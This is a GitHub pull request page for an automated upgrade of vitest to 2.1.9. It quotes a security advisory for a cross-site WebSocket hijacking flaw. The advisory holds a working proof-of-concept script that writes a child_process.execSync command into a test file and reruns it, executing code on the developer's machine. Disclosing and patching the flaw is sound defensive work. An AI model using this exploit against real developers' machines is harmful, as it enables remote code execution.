Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Production deployment #1121

Merged
merged 1 commit into from
Feb 11, 2025
Merged

Production deployment #1121

merged 1 commit into from
Feb 11, 2025

Conversation

github-actions[bot]
Copy link

Only merge using a merge commit!

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| devDependencies | patch | [`2.1.8` ->
`2.1.9`](https://renovatebot.com/diffs/npm/vitest/2.1.8/2.1.9) |

### GitHub Vulnerability Alerts

####
[CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while
Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH)
attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest
UI enables it), Vitest starts a WebSocket server. This WebSocket server
did not check Origin header and did not have any authorization mechanism
and was vulnerable to CSWSH attacks.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file
and `rerun` API that can rerun the tests. An attacker can execute
arbitrary code by injecting a code in a test file by the `saveTestFile`
API and then running that file by calling the `rerun` API.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have
it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that
are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

###
[`v2.1.9`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.9)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9)

This release includes security patches for:

- [Browser mode serves arbitrary files |
CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5)
- [Remote Code Execution when accessing a malicious website while Vitest
API server is listening |
CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

#####    🐞 Bug Fixes

- backport
[https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317)
to v2 - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[https://github.com/vitest-dev/vitest/pull/7318](https://redirect.github.com/vitest-dev/vitest/pull/7318)
- (backport
[#&#8203;7340](https://redirect.github.com/vitest-dev/vitest/issues/7340)
to v2) restrict served files from `/__screenshot-error` - by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[https://github.com/vitest-dev/vitest/pull/7343](https://redirect.github.com/vitest-dev/vitest/pull/7343)

#####     [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNTkuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE1OS4wIiwidGFyZ2V0QnJhbmNoIjoiZGV2ZWxvcCIsImxhYmVscyI6W119-->

Co-authored-by: Renovate Bot <[email protected]>
Copy link

vercel bot commented Feb 11, 2025

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name Status Preview Updated (UTC)
sinister-incorporated ✅ Ready (Inspect) Visit Preview Feb 11, 2025 7:34am

@github-actions github-actions bot merged commit eaabab8 into main Feb 11, 2025
33 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant